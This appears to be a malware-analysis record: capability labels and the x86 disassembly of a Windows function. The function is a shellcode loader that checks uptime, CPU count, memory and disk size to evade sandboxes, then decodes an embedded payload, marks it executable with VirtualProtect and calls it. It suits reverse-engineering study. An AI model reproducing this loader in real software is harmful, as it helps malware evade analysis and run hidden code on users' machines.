Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk information
Get disk size
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x54c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x548], eax
push esi
push 0
push str.test
push str.hello_world
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x1770
jbe 0x4012ce
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0
lea eax, [esp + 0x1c]
push eax
movdqu xmmword [esp + 0x24], xmm0
movdqu xmmword [esp + 0x34], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [esp + 0x30], 4
jb 0x4012ce
push 0x3c
lea eax, [esp + 0x48]
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [esp + 0x40], 0x40
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor eax, eax
cmp dword [esp + 0x50], 0xa1f4c
jb 0x4012d0
push 0x3fe
push eax
mov word [esp + 0x150], ax
lea eax, [esp + 0x152]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [esp + 0x148]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
cmp dword [esp + 0xc], 0xee2f0
jb 0x4012ce
mov esi, dword [sym.imp.MSVCR120.dll_malloc]
push 0x19d20
call esi
add esp, 4
test eax, eax
je 0x4012ce
movdqu xmm0, xmmword [0x402134]
mov eax, dword [0x40216c]
mov dword [esp + 0xf8], eax
mov al, byte [0x402170]
movdqu xmmword [esp + 0xc0], xmm0
push 0x3c
movdqu xmm0, xmmword [0x402144]
mov byte [esp + 0x100], al
lea eax, [esp + 0x10d]
push 0
movdqu xmmword [esp + 0xd8], xmm0
push eax
movdqu xmm0, xmmword [0x402154]
mov byte [esp + 0x114], 0
movdqu xmmword [esp + 0xec], xmm0
movq xmm0, qword [0x402164]
movq qword [esp + 0xfc], xmm0
call sub.MSVCR120.dll_memset
push 0x3c
lea eax, [esp + 0x91]
push 0
push eax
call sub.MSVCR120.dll_memset
movdqa xmm1, xmmword [0x402180]
add esp, 0x18
xor ecx, ecx
movdqu xmm0, xmmword [esp + ecx + 0xc0]
pandn xmm0, xmm1
movdqu xmmword [esp + ecx + 0x108], xmm0
add ecx, 0x10
cmp ecx, 0x30
jb 0x4011c0
cmp ecx, 0x3d
jae 0x401206
jmp 0x4011f0
mov al, byte [esp + ecx + 0xc0]
not al
mov byte [esp + ecx + 0x108], al
inc ecx
cmp ecx, 0x3d
jb 0x4011f0
xor eax, eax
jmp 0x401210
movdqu xmm0, xmmword [esp + eax + 0x108]
pandn xmm0, xmm1
movdqu xmmword [esp + eax + 0x80], xmm0
add eax, 0x10
cmp eax, 0x30
jb 0x401210
cmp eax, 0x3d
jae 0x401256
jmp 0x401240
mov cl, byte [esp + eax + 0x108]
not cl
mov byte [esp + eax + 0x80], cl
inc eax
cmp eax, 0x3d
jb 0x401240
push 0x3d
mov word [esp + 0x84], 0xe8fc
call esi
movdqu xmm0, xmmword [esp + 0x84]
mov ecx, dword [esp + 0xbc]
mov esi, eax
mov al, byte [esp + 0xc0]
add esp, 4
movdqu xmmword [esi], xmm0
movdqu xmm0, xmmword [esp + 0x90]
movdqu xmmword [esi + 0x10], xmm0
movdqu xmm0, xmmword [esp + 0xa0]
movdqu xmmword [esi + 0x20], xmm0
movq xmm0, qword [esp + 0xb0]
movq qword [esi + 0x30], xmm0
mov dword [esi + 0x38], ecx
mov byte [esi + 0x3c], al
lea eax, [esp + 0x18]
push eax
push 0x40
push 0x3d
push esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
xor eax, eax
mov ecx, dword [esp + 0x54c]
pop esi
xor ecx, esp
call fcn.004012e3
mov esp, ebp
pop ebp
ret